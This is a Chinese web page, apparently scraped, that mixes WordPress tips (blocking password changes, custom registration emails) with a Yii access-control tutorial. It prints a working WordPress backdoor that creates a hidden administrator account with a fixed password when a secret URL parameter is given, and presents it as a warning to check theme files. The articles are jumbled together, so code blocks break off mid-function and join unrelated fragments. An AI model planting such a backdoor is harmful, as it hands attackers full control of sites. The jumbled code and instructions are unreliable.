WordPress禁止特定用户修改密码的方法,深入解析yii权限分级式访问控制的实现
分类:web前端

复制代码代码如下:
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'backdoor' ) ) {
$user_id = wp_create_user( 'backdoor', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}

本文实例讲述了如何修改WordPress新用户注册邮件内容,因为系统发送的邮件是纯文本类型的,页面不太美观,又没有办法发送自定义的HTML格式的邮件,将修改方法分享给大家供大家参考。具体方法如下:

本文实例讲述了WordPress禁止特定用户修改密码的方法。分享给大家供大家参考。具体方法如下:

yii framework 提供了2套权限访问系统,一套是简单的filter(过滤器)模式,另一套是复杂全面的RBAC模式,我这里要讲的是第一套(因为我也刚刚学到这里)。如 果你有研究过YII官方的demo blog,一定知道,比如,由gii自动生成的user模块,自动附带了简单的filter权限分配功能,具体细节请参照blog手册的“用户验证”一章 节,以及yii官方指南的“验证和授权”一章节。(注意,我这里所指的模块,只是我个人对与user有关的文件的统称,与yii文件系统的模块 (module)含义不同。)
关于权限分配的文件大多在controllers里,比如打开UserController.php文件你会看到2个类函数。
复制代码 代码如下:
public function filters()
     {
      return array(
       'accessControl',               // 实现CRUD操作的访问控制。
       'postOnly + delete',
         );
     }

简单说明下,代码主要放于functions.php文件里面,不会影响任何功能使用,如果存在此代码,任何人只要运行.你的域名.com/?backdoor=go,然后就创建了一个用户名为“backdoor”,密码为:“pa55w0rd!” 的管理员。同样具备管理员的权限,很编辑主题代码文件,相信此时你一定感觉到很危险了吧,赶紧检查检查自己的主题代码吧……

最简单的办法

有时我们希望有些用户不能修改密码,而有些用户是可以修改密码的,这里就来给大家介绍关于WordPress禁止特定用户修改密码方法.

 public function accessRules()              //这里就是访问规则的设置。
     {
      return array(
         array('allow',              // 允许所有用户执行index,view动作。
           'actions'=>array('index','view'),
           'users'=>array('*'),           
           ),                   
         array('allow',             // 只允许经过验证的用户执行create, update动作。
            'actions'=>array('create','update'),
            'users'=>array('@'),       // @号指所有注册的用户
             ),
         array('allow',             // 只允许用户名是admin的用户执行admin,delete动作
             'actions'=>array('admin','delete'),
             'users'=>array('admin'),
             ),                   //admin就是指用户名是admin的用户,以硬编码的形式分配用户权限。
             array('deny',           // 拒绝所有的访问。
             'users'=>array('*'),
             ),
         );
     }

方法一、直接手动修改:

方法很简单,去掉这个公共帐号修改密码的权限即可,我们可以在主题目录下的functions.php中添加以下代码:

关于更多的访问规则的设定请参照官方文件
好了,现在要开始按照我们自己的需求设置适合自己的权限分配了。我们希望filter访问控制模式能更完美一点,按照常识,我们希望它能按照数据库里user表里不同级别用户,实行不同的授权,而不是用硬编码的形式控制。

修改wordpresswp-includes目录的pluggable.php,中的这段:

复制代码代码如下:$disable_ids = array( 2 ); // 禁止修改密码的用户id
global $current_user;
get_currentuserinfo();
if ( in_array( $current_user->ID, $disable_ids ) ) {
// 后台个人资料页,隐藏密码输入框
add_filter('show_password_fields', create_function('$nopass_profile', 'return false;'));

回到demo blog,我先对数据库的tbl_user表做修改,在原来的基础上加上role一项。对原来的用户信息记录添加role的value为"管理员"或"一般用户"。
然后依次执行以下3个步骤: 1. 创建组件WebUser,它是对CWebUser的扩展。

复制代码代码如下:$message = sprintf(__('Username: %s'), $user_login) . "";
$message .= sprintf(__('Password: %s'), $plaintext_pass) . "";
$message .= wp_login_url() . "";
wp_mail($user_email, sprintf(__('[%s] Your username and password'), $blogname), $message);
例如改为如下代码:

// 防止通过其他手段提交密码修改
add_action('personal_options_update', 'no_save_pwd');
}
function no_save_pwd( $user_id ) {
if(!emptyempty($_POST['pass1'])) $_POST['pass1'] = '';
if(!emptyempty($_POST['pass2'])) $_POST['pass2'] = '';
}
// 禁止使用密码找回功能
add_filter('allow_password_reset', 'no_reset_pwd', 10, 2);
function no_reset_pwd( $allow, $user_id ) {
global $disable_ids;
if ( in_array( $user_id, $disable_ids ) )
$allow = false;

  1. 修改config/main.php文件。
    3.修改accessRules()。
    具体细节如下: 1.WebUser.php 组件代码:
    复制代码 代码如下:
    **
     // this file must be stored in:
     // protected/components/WebUser.php

复制代码代码如下:$message .= sprintf(__('欢迎加入***网')) . "rn";
$message .= sprintf(__('Username: %s'), $user_login) . "rn";
$message .= sprintf(__('Password: %s'), $plaintext_pass) . "rn";
$message .= wp_login_url() . "rn";
$message .= sprintf(__('账号需进一步审核才可以登入,请通知网站管理员')) . "rn";
wp_mail($user_email, sprintf(__('[%s] Your username and password'), $blogname), $message);
方法二:

return $allow;
}
以上代码第1行中的 2 是要禁止其修改密码的用户id,如果要禁止多个用户修改密码,多个id可以用半角逗号隔开,如 array( 2, 10 ),需要说明的,禁止修改密码的用户角色不能是管理员,因为管理员可以进入后台 – 外观 – 编辑,修改functions.php中的代码.

 class WebUser extends CWebUser {

我们在当前主题的functions.php中加入重新定义的wp_new_user_notification函数即可,下面是一个示例,可以根据自己的需求进行修改:

如果你想禁止某用户编辑个人资料我们可以参考下面方法,我们在当前主题的functions.php中添加以下代码:

   // Store model to not repeat query.
   private $_model;

复制代码代码如下:if ( !function_exists('wp_new_user_notification') ) :
/**
* Notify the blog admin of a new user, normally via email.
*
* @since 2.0
*
* @param int $user_id User ID
* @param string $plaintext_pass Optional. The user's plaintext password
*/
function wp_new_user_notification($user_id, $plaintext_pass = '') {
$user = get_userdata( $user_id );
$user_login = stripslashes($user->user_login);
$user_email = stripslashes($user->user_email);
// 获取博客名称
$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
// 给管理员发送的邮件内容,这里是HTML格式
$message = '

复制代码代码如下:function disable_user_profile() {
if ( is_admin() ) {
$user = wp_get_current_user();
if ( 2 == $user->ID ) // 2 改成该用户的id
wp_die( '禁止访问' );
}
}
add_action( 'load-profile.php', 'disable_user_profile' );
当然,如果你使用前台的用户管理功能,以上方法就失效了.

   // Return first name.
   // access it by Yii::app()->user->first_name
   function getFirst_Name(){
     $user = $this->loadUser(Yii::app()->user->id);
     return $user->first_name;
   }

新用户注册

希望本文所述对大家的WordPress建站有所帮助。

   // This is a function that checks the field 'role'
   // in the User model to be equal to 1, that means it's admin
   // access it by Yii::app()->user->isAdmin()
   function isAdmin(){
     $user = $this->loadUser(Yii::app()->user->id);
     if ($user==null)
         return 0;
     else
         return $user->role == "管理员";
   }

您的网站 ' . $blogname . ' 有新用户注册。
用户名:' . $user_login . '
Email:' . $user_email . '
如果您不是 ' . $blogname . ' 的管理员,请直接忽略本邮件!<>

   // Load user model.
   protected function loadUser($id=null)
     {
         if($this->_model===null)
         {
             if($id!==null)
                 $this->_model=User::model()->findByPk($id);
         }
         return $this->_model;
     }
 }
 ?>**

<>';
// 给网站管理员发送邮件
$message_headers = "Content-Type: text/html; charset="utf-8"n";
@wp_mail(get_option('admin_email'), sprintf(__('[%s] New User Registration'), $blogname), $message, $message_headers);
if ( emptyempty($plaintext_pass) )
return;

2.在config/main.php找到如下代码,添加标红色的代码。
复制代码 代码如下:
   'components'=>array(
        'user'=>array(
            // enable cookie-based authentication
            'allowAutoLogin'=>true,
             'class'=>'WebUser',
        ),

// 你可以在此修改发送给新用户的通知Email,这里是HTML格式
$message = '

3.找到需要更改权限的controller类,对accessRules()函数做修改,比如对前文的accessRules()函数做如下修改:
复制代码 代码如下:
public function accessRules()  //这里就是访问规则的设置。     {
     return array(
         array('allow',                     // 允许所有用户执行index,view动作。
             'actions'=>array('index','view'),
             'users'=>array('*'),         //*号标识所有用户包括注册的、没注册的、一般的、管理员级的
         ),
         array('allow',                      // 只允许经过验证的用户执行create, update动作。
             'actions'=>array('create','update'),
             'users'=>array('@'),       // @号指所有注册的用户
         ),
         array('allow',                     // 只允许用户名是admin的用户执行admin,delete动作
             'actions'=>array('admin','delete'),
             'expression'=>'yii::app()->user->isAdmin()',
             //这样只有标识为“管理员”的用户才能访问admin,delete动作
         ),
         array('deny',  // 拒绝所有的访问。
             'users'=>array('*'),
         ),
     );

新用户注册

工作完成!

您刚刚在网站 ' . $blogname . ' 注册一个帐号。
用户名:' . $user_login . '
登录密码:' . $plaintext_pass . '
登录网址:' . wp_login_url() . '
如果您没有在 '. $blogname . ' 注册过任何信息,请直接忽略本邮件!<>

<>';
// sprintf(__('[%s] Your username and password'), $blogname) 为邮件标题
wp_mail($user_email, sprintf(__('[%s] Your username and password'), $blogname), $message, $message_headers);
}
endif;
中间的$message中的内容你自己爱怎么写就怎么写吧.

希望本文所述对大家的WordPress建站有所帮助。

本文由10bet手机官网发布于web前端,转载请注明出处:WordPress禁止特定用户修改密码的方法,深入解析yii权限分级式访问控制的实现

上一篇:用WebClient类简单实现网上下载和上传数据,小偷程序 下一篇:不用wordpress插件显示文章浏览统计功能代码修改,wordpress获取自定义字段get
猜你喜欢
热门排行
精彩图文